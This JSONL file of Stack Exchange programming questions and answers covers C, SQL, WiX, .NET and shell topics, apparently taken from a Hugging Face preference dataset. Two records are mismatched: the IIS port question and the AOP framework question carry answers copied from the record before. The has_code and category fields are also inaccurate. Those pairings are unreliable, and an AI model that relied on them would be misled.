{"id": "hf_b9d702ff3aee", "question": "<p>Why is <code>volatile</code> needed in C? What is it used for? What will it do?</p>\n", "question_body": "", "answer": "```\nvolatile\n```\ntells the compiler that your variable may be changed by other means, than the code that is accessing it. e.g., it may be a I/O-mapped memory location. If this is not specified in such cases, some variable accesses can be optimised, e.g., its contents can be held in a register, and the memory location not read back in again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.214583"}
{"id": "hf_b7e9961cb954", "question": "<p>I'm working on a eclipse plug-in and I've tried to create another test project seperate from the plug-in. The reason I do this is to not let the plug-in depend on jUnit when it is exported. However, I can't access the Eclipse Plug-in API when I do the testing. Whenever I try to add Plug-in dependencies the import list to that is empty.</p>\n\n<p>Does anyone know how to import Eclipse plug-in API to an existing project? The workspace layout looks like this at the moment:</p>\n\n<pre><code>+- com.foo.myplugin\n|     |\n|     +- JRE System Library\n|     |\n|     +- Plug-in Dependencies\n|     |\n|     +- src\n|     |\n|     +- icons, META-INF, plugin.xml, etc...\n|\n+- com.foo.myplugin.test\n      |\n      +- JRE System Library\n      |\n      +- JUnit 4\n      |\n      +- src\n</code></pre>\n", "question_body": "", "answer": "You could try to add the plugin nature to your new myplugin.test project.\nIn your .project file:\n```\n```\n<natures>\n\n        <nature>org.eclipse.pde.PluginNature</nature>\n        [...]\n</natures>\n```\n```\nThen in the .classpath, add:\n```\n```\n<classpath>\n        [...]\n        <classpathentry kind=\"con\" path=\"org.eclipse.pde.core.requiredPlugins\"/>\n        [...]\n</classpath>\n```\n```\nDelete your myplugin.test from the workspace, re-import that project and see if that does the trick...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.237173"}
{"id": "hf_0553a3b78519", "question": "<p>this is my old code</p>\n\n<hr>\n\n<pre><code>    protected override bool OnPreAction(string actionName, System.Reflection.MethodInfo methodInfo)\n    {\n        if (\"|Register|RegisterPage|Login|LoginPage|Logout|Service\".ToLower().Contains(actionName.ToLower()))\n        {\n            return base.OnPreAction(actionName, methodInfo);\n        }\n\n        Customer = CustomerHelper.GetCustomer();\n\n        if (Customer.IsSeccessedLogin())\n        {\n            return base.OnPreAction(actionName, methodInfo);\n        }\n\n        Response.Redirect(\"Login.html\");\n        return false;\n    }\n</code></pre>\n", "question_body": "", "answer": "```\n```\nstring actionName = (string)filterContext.RouteData.Values[\"action\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.282412"}
{"id": "hf_4870698e0302", "question": "<p>In the recent project, we had an issue with the performance of few queries that relied heavily on ordering the results by datetime field (MSSQL 2008 database).</p>\n\n<p>When we executed the queries with ORDER BY RecordDate DESC (or ASC) the queries executed 10x slower than without that. Ordering by any other field didn't produce such slow results.</p>\n\n<p>We tried all the indexing options, used the tuning wizard, nothing really made any difference. </p>\n\n<p>One of the suggested solutions was converting the datetime field to the integer field representing the number of seconds or miliseconds in that datetime field. It would be calculated by a simple algorithm, something like \"get me the number of seconds from RecordDate to 1980-01-01\". This value would be stored at insertion, and the all the sorting would be done on the integer field, and not on the datetime field. </p>\n\n<p>We never tried it, but I'm curious what do you guys think?</p>\n", "question_body": "", "answer": "Are the inserts coming from .Net Code...\nYou could store the\nDateTime.Ticks\nvalue in a bigint column on the DB and index on that.\nIn terms of updating your existing Database, it should be relatively trivial to write a CLR Function for converting existing DateTimes to TickCount along the lines of\n```\n```\nALTER TABLE dbo.MyTable ADD TickCount BigInt Null\n\nUpdate dbo.MyTable Set TickCount = CLRFunction(DateTimeColumn)\n```\n```\nIt definitely feasible and would dramatically improve your sorting abilility", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.305725"}
{"id": "hf_b1559f52d0e3", "question": "<p>can we output a .jpg image or .gif image in C? <p>I mean can we print a picture as output with the help of a C program?<p>Aslo can we write a script in C language for HTML pages as can be written in JavaScript? <p>Can the browsers operate on it?<p>If not possible is there any plugin for any of the browsers?\n<p>Any example code or links please?</p>\n", "question_body": "", "answer": "That's a lot of questions!\nYou can generate JPEG and PNG files from C using\nlibjpeg\nand\nlibpng\n, respectively. (Yes, I'm dodging your GIF question on purpose. You don't need to do that; PNG is well-supported by mainstream browsers now and\nshould be preferred\n. :-P)\nBrowsers generally only support JavaScript for client-side scripting. Using anything else will only destroy the portability of your webpages. Yes, like you say you can use plugins, but some people are averse to installing plugins, and others are behind corporate policies that don't allow such things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.329286"}
{"id": "hf_47cac152165f", "question": "<p>While working on a project, I came across a JS-script created by a former employee that basically creates a report in the form of</p>\n\n<pre><code>Name : Value\nName2 : Value2\n</code></pre>\n\n<p>etc.</p>\n\n<p>The peoblem is that the values can sometimes be floats (with different precision), integers, or even in the form <code>2.20011E+17</code>. What I want to output are pure integers. I don't know a lot of JavaScript, though.  How would I go about writing a method that takes these sometimes-floats and makes them integers?</p>\n", "question_body": "", "answer": "You can use\nMath.round()\nfor rounding numbers to the nearest integer.\n```\n```\nMath.round(532.24) => 532\n```\n```\nAlso, you can use\nparseInt()\nand\nparseFloat()\nto cast a variable to a certain type, in this case integer and floating point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.387824"}
{"id": "hf_cbfd117a7da8", "question": "<p>What is the default capacity of a <code>StringBuilder</code>?</p>\n\n<p>And when should (or shouldn't) the default be used?</p>\n", "question_body": "", "answer": "[edit: at the time, the question asked about\n```\nStringList\n```\n]\nDo you mean\n```\nStringCollection\n```\n? This uses an empty\n```\nArrayList\n```\ninitially, so the answer is 0. And you have no option to change it. When you first add an item, the capacity jumps to 4, then uses a doubling strategy when it fills.\nIf you mean\n```\nList<string>\n```\n, then it is similar (an empty\n```\nT[]\n```\n, not an\n```\nArrayList\n```\n), but you can initialize a known size if you need (i.e. you know how much data you expect). Again, the first time you\n```\nAdd\n```\nto a\n```\nList<T>\n```\nthe size jumps to 4, then doubles every time it fills up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.411278"}
{"id": "hf_5cce364b6898", "question": "<p>I am writing a shell script that takes file paths as input.</p>\n\n<p>For this reason, I need to generate recursive file listings with full paths. For example, the file <code>bar</code> has the path:</p>\n\n<pre><code>/home/ken/foo/bar\n</code></pre>\n\n<p>but, as far as I can see, both <code>ls</code> and <code>find</code> only give relative path listings:</p>\n\n<pre><code>./foo/bar   (from the folder ken)\n</code></pre>\n\n<p>It seems like an obvious requirement, but I can't see anything in the <code>find</code> or <code>ls</code> man pages.</p>\n\n<p>How can I generate a list of files in the shell including their absolute paths?</p>\n", "question_body": "", "answer": "If you give\n```\nfind\n```\nan absolute path to start with, it will print absolute paths. For instance, to find all .htaccess files in the current directory:\n```\n```\nfind \"$(pwd)\" -name .htaccess\n```\n```\nor if your shell expands\n```\n$PWD\n```\nto the current directory:\n```\n```\nfind \"$PWD\" -name .htaccess\n```\n```\n```\nfind\n```\nsimply prepends the path it was given to a relative path to the file from that path.\nGreg Hewgill\nalso suggested using\n```\npwd -P\n```\nif you want to resolve symlinks in your current directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.433100"}
{"id": "hf_2388af212737", "question": "<p>I need to create a midnight DateTime</p>\n\n<p>I've just done this:</p>\n\n<pre><code>DateTime endTime = DateTime.Now;\nendTime.Subtract(endTime.TimeOfDay);\n</code></pre>\n\n<p>Haven't test it yet, I'm assuming it works but is there a better/cleaner way?</p>\n", "question_body": "", "answer": "Just use\n```\nfoo.Date\n```\n, or\n```\nDateTime.Today\n```\nfor today's date", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.470181"}
{"id": "hf_6af407a4840b", "question": "<p>Does anybody know about an Eclipse plug-in to analyze code coverage for TestNG unit tests?</p>\n", "question_body": "", "answer": "EclEmma\ncan be run on TestNG test suites.  You can also run a group of test or a given TestNG class with it.  It requires the\nTestNg plug-in\nOn EclEmma plugin, choose \"coverage configuration...\" and select the TestNG tab.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.535012"}
{"id": "hf_70b4940485c6", "question": "<p>Does anyone know of a tool to take a T-SQL query and convert it into a LINQtoSQL query?</p>\n", "question_body": "", "answer": "I'm sorry that I don't know of any tools to do this.  If your problem is that you just don't know Linq well enough, you may want to consider this\ntool\n.  It will help you learn Linq and it's free (but not open source).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.557128"}
{"id": "hf_5900034495f4", "question": "<p>Is there any way to add iCal event to the iPhone Calendar from the custom App?</p>\n", "question_body": "", "answer": "Yes there still is no API for this (2.1). But it seemed like at WWDC a lot of people were already interested in the functionality (including myself) and the recommendation was to go to the below site and create a feature request for this. If there is enough of an interest, they might end up moving the ICal.framework to the public SDK.\nhttps://developer.apple.com/bugreporter/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.580670"}
{"id": "hf_76c2f6b779d2", "question": "<p>I want to be able to run a function in my firefox sidebar js file when the selected tab in the main content window is reloaded or changed. So the sidebar can change depending on the site the user is looking at. </p>\n\n<p>Anyone able to point me in the right direction?</p>\n", "question_body": "", "answer": "My solution pilfered from somewhere but can't remember where:\n```\n```\n//add the load eventListener to the window object\nwindow.addEventListener(\"load\", function() { functioname.init(); }, true);\n\nvar functionname =  { \n    //add the listener for the document load event\ninit: function() {\n    var appcontent = document.getElementById(\"appcontent\");   // browser\n    if(appcontent)\n        appcontent.addEventListener(\"DOMContentLoaded\", functionname.onPageLoad, false);\n    },\n    //function called on document load\n    onPageLoad: function(aEvent) {\n        if(aEvent.originalTarget.nodeName == \"#document\"){\n        }\n     }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.627835"}
{"id": "hf_9b3f5d9d981c", "question": "<p>I have seen a function whose prototype is:</p>\n\n<pre><code>int myfunc(void** ppt)\n</code></pre>\n\n<p>This function is called in a C file as \n    a = myfunc(mystruct **var1);</p>\n\n<p>where mystruct is typedef for one of structure we have. </p>\n\n<p>This works without any compilation errors in MSVC6.0, But when I compile it with some other C compiler, it gives an error at the place where this function is called with error message:</p>\n\n<p><strong>Argument of type mystruct ** is incompatible with parameter of type void **</strong></p>\n\n<p>The argument of myfunc() is kept as void** because it seems to be a generic malloc kind of function to be called with various structure variable types for memory allocation  </p>\n\n<ol>\n<li>Is there any type such as void ** allowed in C standard/any C compilers?</li>\n<li>How do I fix this? [I tried casting the function call argument to <code>mystruct**</code>, but it didn't work]</li>\n</ol>\n\n<p>-AD</p>\n", "question_body": "", "answer": "```\nvoid**\n```\nis\nvalid but, based on your error message, you probably have to explicitly cast the argument as follows:\n```\n```\nmystruct **var1;\nx = myfunc ((void**) var1);\n```\n```\nThat's because the\n```\nmyfunc\n```\nfunction is expecting the\n```\nvoid**\n```\ntype. While\n```\nvoid*\n```\ncan be implicitly cast to any other pointer, that is not so for the double pointer - you need to explicitly cast it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.663667"}
{"id": "hf_f15d21bb2edf", "question": "<p>I'm looking for a Report Designer that will allow me to connect to a RESTful webservice. Ideally I would like one that has a royalty-free End-User Report Designer. WE will be hosting it in an ASP.NET web site. So something compatable with that would be ideal ;)</p>\n\n<p>We used to use <a href=\"http://www.datadynamics.com/Products/ProductOverview.aspx?Product=ARNET3\" rel=\"nofollow noreferrer\">Data Dynamics Active Reports</a>. However this doesn't allow connections to webservices.</p>\n\n<p>Any help, very much appreciated.</p>\n\n<p>Thanks in advance.</p>\n\n<p>Crafty</p>\n", "question_body": "", "answer": "I'm not sure what you mean by asking for a report generator that can connect to a web service.\nWeb services aren't something you can report on. They're just a source of data. What do you want to connect to and what data are you expecting to get back?\nThe problem with RESTful web services is you don't know what you're going to get back (there's no schema as with a DB table).\nThe good thing about RESTful web services is you're probably going to get back some XML, and the Active Reports product you mention seems to do things with XML files.\n\"ActiveReports for .NET 3.0 supports many XML-based files for data input.\"\nCam you call the web services for the information you need and squirrel it away in some files (or a DB) first?\nOr are you in essence asking for something that can query a RESTful web service in some reasonably complex way and return the results of the query in some structured way that a report generator can then consume?\nDo you have specific RESTful web services in mind, and if so do you know what format they will return data in? Then your question is really about report generators that can handle that returned format, perhaps.\nOr something else and I've missed the point?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.712953"}
{"id": "hf_4064a31b4bc3", "question": "<p>How do I convert a keycode to a keychar in .NET?</p>\n", "question_body": "", "answer": "In VB.NET:\n```\n```\nChrW(70)\n```\n```\nIn C# you can cast:\n```\n```\n(char) 70\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.749921"}
{"id": "hf_b8958bd5aaf0", "question": "<p>I want to create a trigger to check what is being deleted against business rules and then cancel the deletion if needed. Any ideas?</p>\n\n<p>The solution used the Instead of Delete trigger. The Rollback tran stopped the delete. I was afraid that I would have a cascade issue when I did the delete but that didn't seem to happen. Maybe a trigger cannot trigger itself.</p>\n", "question_body": "", "answer": "Use an\n```\nINSTEAD OF DELETE\n```\n(see\nMSDN\n) trigger and decide within the trigger what you really want to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.801615"}
{"id": "hf_8c1f228b4691", "question": "<p>Here's a very simple question. I have an SP that inserts a row into a table and at the end there's the statement RETURN @@IDENTITY. What I can't seem to find is a way to retrieve this value in C#. I'm using the Enterprise library and using the method:</p>\n\n<pre><code>db.ExecuteNonQuery(cmd);\n</code></pre>\n\n<p>I've tried <strong>cmd.Parameters[0].Value</strong> to get the value but that returns 0 all the time. Any ideas?</p>\n", "question_body": "", "answer": "```\n```\nDim c as new sqlcommand(\"...\")\n\nDim d As New SqlParameter()\nd.Direction = ParameterDirection.ReturnValue\nc.parameters.add(d)\n\nc.executeNonQuery\n\n(@@IDENTITY) = d.value\n```\n```\nIt is more or less like this...either this or just return the value from a stored procedure as an output parameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.825526"}
{"id": "hf_0f792771bf79", "question": "<p>This might be a naive question. I have to manually edit a .WXS file to make it support select features from command line.</p>\n\n<p>For example, there are 3 features in .WXS file.</p>\n\n<pre><code>&lt;Feature Id=\"AllFeature\" Level='1'&gt;\n\n    &lt;Feature Id=\"Feature1\" Level='1'&gt; &lt;/Feature&gt;\n\n    &lt;Feature Id=\"Feature2\" Level='1'&gt; &lt;/Feature&gt;\n\n    &lt;Feature Id=\"Feature3\" Level='1'&gt; &lt;/Feature&gt;\n\n&lt;/Feature&gt;\n</code></pre>\n\n<p>Now, I want to select features from command line. Say, if I type \"msiexec /i install.msi FEATURE=A\", then \"Feature1\" and \"Feature2\" is installed; if I type \"msiexec/i install.msi FEATURE=B\", then \"Feature1\" and \"Feature3\" is installed. In this case, \"A\" maps to Feature 1 and 2; \"B\" maps to Feature 1 and 3.</p>\n\n<p>How to accomplish this in WIX?</p>\n", "question_body": "", "answer": "I would change Feature1, Feature2 and Feature3 to Components, then would declare something like this:\n```\n```\n<Feature Id=\"FEATUREA\" Title=\"Super\" Level=\"1\" >\n  <ComponentRef Id=\"Component1\" />\n  <ComponentRef Id=\"Component2\" />\n</Feature>\n\n<Feature Id=\"FEATUREB\" Title=\"Super1\" Level=\"1\" >\n  <ComponentRef Id=\"Component1\" />\n  <ComponentRef Id=\"Component3\"/>\n</Feature>\n```\n```\nThen to Install either FeatureA or FeatureB\n```\n```\nmsiexec /i install.msi ADDLOCAL=[FEATUREA | FEATUREB]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.849072"}
{"id": "hf_50f4a3a115aa", "question": "<p>I am reading WIX script written by others. There are some code really confuses me. </p>\n\n<pre><code>&lt;Custom Action='UnLoadSchedulerPerfCounters' After='InstallInitialize'&gt;\n    &lt;![CDATA[(Installed) AND (!Scheduler = 3)]]&gt;\n&lt;/Custom&gt;\n&lt;Custom Action='RollbackSchedulerPerfCounters' After='WriteRegistryValues'&gt;\n        &lt;![CDATA[(&amp;Scheduler = 3)]]&gt;\n&lt;/Custom&gt;\n</code></pre>\n\n<p>So, what's the difference between <code>!Scheduler</code> and <code>&amp;Scheduler</code>?\nIs any special meaning when property is prefix-ed by <code>&amp;</code> or <code>!</code>?</p>\n", "question_body": "", "answer": "From\nhttp://www.tramontana.co.hu/wix/lesson5.php#5.3\n:\nPrepending some special characters to\n  the names will give them extra\n  meaning:\n```\n```\n%     environment variable (name is case insensitive)\n$     action state of component\n?     installed state of component\n&     action state of feature\n!     installed state of feature\n```\n```\nThe last four can return the following\n  integer values:\n```\n```\n-1   no action to be taken\n1    advertised (only for components)\n2    not present\n3    on the local computer\n4    run from the source\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.873319"}
{"id": "hf_1d304db159e6", "question": "<p>I'm working on a piece of library code around <code>IDisposable</code>. The managed path (via <code>using</code>) is easily testable. I'm wondering about the finalizer though: Is calling <a href=\"http://msdn.microsoft.com/en-us/library/xe0c2357.aspx\" rel=\"noreferrer\"><code>System.GC.Collect()</code></a> sufficient to force the finalizer to run?</p>\n", "question_body": "", "answer": "Could you mock out an\n```\nIDisposable\n```\ninterface and expect a call to\n```\nDispose\n```\n?  That would at least let you see when the object is actually disposed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.897492"}
{"id": "hf_d6506e81d064", "question": "<p>My programming environment includes scripts for setting up my autobuild on a clean machine.</p>\n\n<p>One step uses a vbscript to configure a website on IIS that is used to monitor the build.</p>\n\n<p>On a particular machine I will be running apache on port 80 for a separate task.</p>\n\n<p>I would like my vbscript to set the port to 8080 for the new site that it is adding.</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "Could you mock out an\n```\nIDisposable\n```\ninterface and expect a call to\n```\nDispose\n```\n?  That would at least let you see when the object is actually disposed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.921353"}
{"id": "hf_42049fd60df4", "question": "<p>What is the best way of working with calculated fields of Propel objects?</p>\n\n<p>Say I have an object \"Customer\" that has a corresponding table \"customers\" and each column corresponds to an attribute of my object. What I would like to do is: add a calculated attribute \"Number of completed orders\" to my object when using it on View A but not on Views B and C.</p>\n\n<p>The calculated attribute is a COUNT() of \"Order\" objects linked to my \"Customer\" object via ID.</p>\n\n<p>What I can do now is to first select all Customer objects, then iteratively count Orders for all of them, but I'd think doing it in a single query would improve performance. But I cannot properly \"hydrate\" my Propel object since it does not contain the definition of the calculated field(s).</p>\n\n<p>How would you approach it?</p>\n", "question_body": "", "answer": "Add an attribute \"orders_count\" to a Customer, and then write something like this:\n```\n```\nclass Order {\n...\n  public function save($conn = null) {\n    $customer = $this->getCustomer();\n    $customer->setOrdersCount($customer->getOrdersCount() + 1);\n    $custoner->save();\n    parent::save();\n  }\n...\n}\n```\n```\nYou can use not only the \"save\" method, but the idea stays the same. Unfortunately, Propel doesn't support any \"magic\" for such fields.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.957604"}
{"id": "hf_c5726a535c95", "question": "<p>Does anyone know how could I programatically disable/enable sleep mode on Windows Mobile?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Probably by modifying the \"System Power States\" as\ndescribed here\n(but in c#)\nThat article also describes a way to prevent the mobile device to sleep (which is not exactly what you may want), by calling the native function SystemIdleTimerReset() periodically (to prevent the device from powering down).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.005530"}
{"id": "hf_f04927ea93e9", "question": "<p>0x34363932353433373538323038353135353439</p>\n", "question_body": "", "answer": "From the Unix / cygwin command line, you can use bc.\n```\n```\n$ bc\nibase=16\n34363932353433373538323038353135353439\n1164362276596472215941024063897591129839055929\n```\n```\nThere is also\nan online version\n.  If you want to do it in code you should use an arbitrary precision library facility, like Java's BigInteger, Perl's Math::BigInt, Tcl's  math::bignum, or of the many multiple precision arithmetic libraries that are available for C, like\nGNU GMP\n, or\nMPI\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.040177"}
{"id": "hf_a70d7efe4ec8", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/358874/how-can-i-use-a-carriage-return-in-a-html-tooltip\">How can I use a carriage return in a HTML tooltip?</a>  </p>\n</blockquote>\n\n\n\n<p>I'd like to know if it's possible to force a newline to show in the tooltip when using title property of a TD.\nsomething like </p>\n\n<pre><code>&lt;td title=\"lineone \\n linetwo \\n etc...\"&gt;\n</code></pre>\n\n<p>Can this be done?</p>\n", "question_body": "", "answer": "This should be OK, but is Internet Explorer specific:\n```\n```\n<td title=\"lineone\nlinetwo \netc...\">\n```\n```\nAs others have mentioned, the only other way is to use an HTML + JavaScript based tooltip if you're only interested in the tooltip. If this is for accessibility then you will probably need to stick to just single lines for consistency.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.063830"}
{"id": "hf_2aeec1dc1584", "question": "<p>I want to draw spinner controls, such as those found on a NumericUpDown, on a custom component.  If I want to draw a drop-down button, I can use ComboBoxRenderer.  Is there an equivalent of ComboBoxRenderer for NumericUpDown?</p>\n", "question_body": "", "answer": "I do not think a ComboBoxRenderer exists in the Windows Forms namespace. You need to directly draw the UpDown control arrows (spin buttons) using interop and the Theme API. I don't have a complete sample for you, but you'll need\n```\n```\n[DllImport(\"uxtheme.dll\", ExactSpelling = true, CharSet = CharSet.Unicode)]\npublic static extern IntPtr OpenThemeData(IntPtr hWnd, String classList);\n\n[DllImport(\"uxtheme\", ExactSpelling = true)]\npublic extern static Int32 DrawThemeBackground(IntPtr hTheme, IntPtr hdc, int iPartId, int iStateId, ref RECT pRect, IntPtr pClipRect);\n\n[DllImport(\"uxtheme.dll\", ExactSpelling = true)]\npublic extern static Int32 CloseThemeData(IntPtr hTheme);\n```\n```\nand you can find the required parts and states in\nthis page\n(look for the SPIN style class and its associated parts and states).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.086857"}
{"id": "hf_d790d12b2770", "question": "<p>I have a <code>char* p</code>, which points to a <code>\\0</code>-terminated string. How do I create a C++ <code>string</code> from it in an exception-safe way?</p>\n\n<p>Here is an unsafe version:</p>\n\n<pre><code>string foo()\n{\n  char *p = get_string();\n\n  string str( p );\n  free( p );\n  return str;\n}\n</code></pre>\n\n<p>An obvious solution would be to try-catch - any easier ways? </p>\n", "question_body": "", "answer": "You can use\n```\nshared_ptr\n```\nfrom\nC++11\nor\nBoost\n:\n```\n```\nstring\nfoo()\n{\n    shared_ptr<char> p(get_string(), &free);\n    string str(p.get());\n    return str;\n}\n```\n```\nThis uses a very specific feature of\n```\nshared_ptr\n```\nnot available in\n```\nauto_ptr\n```\nor anything else, namely the ability to specify a custom deleter; in this case, I'm using\n```\nfree\n```\nas the deleter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.122497"}
{"id": "hf_5191a80029f6", "question": "<p>I am implementing replication for a project I am developing, and would like to replicate changes in the Write database to the Read database.</p>\n\n<p>While this isn't a problem, I want to tune one database for reading from, and the other to writing to, so they would have different settings.</p>\n\n<p>Is there any resource/guide which will tell me what concepts to look into? I'm not looking for a how to guide (then again, at this level, these tasks are very involved to have guides to).</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Index your databases differently.   You probably need different indexes (maybe fewer indexes) to suppor the process of writing to the Write database than you do with the read database.   If an index is only used for reading, then leave it off the Write database.\nI'm no expert on this, and my thinking might be fuzzy, but consider the hardware/memory/and even RAID configurations.   I can't remember.... would one RAID configuration be more suited for writing and another for reading, or is that wrong...?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.171304"}
{"id": "hf_fb85e12ba78e", "question": "<p>Please give me the advantages and disadvantages of using the particular framework.</p>\n\n<p>Can give me examples of successes where you have used AOP in you .net applications?</p>\n", "question_body": "", "answer": "Index your databases differently.   You probably need different indexes (maybe fewer indexes) to suppor the process of writing to the Write database than you do with the read database.   If an index is only used for reading, then leave it off the Write database.\nI'm no expert on this, and my thinking might be fuzzy, but consider the hardware/memory/and even RAID configurations.   I can't remember.... would one RAID configuration be more suited for writing and another for reading, or is that wrong...?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.195525"}
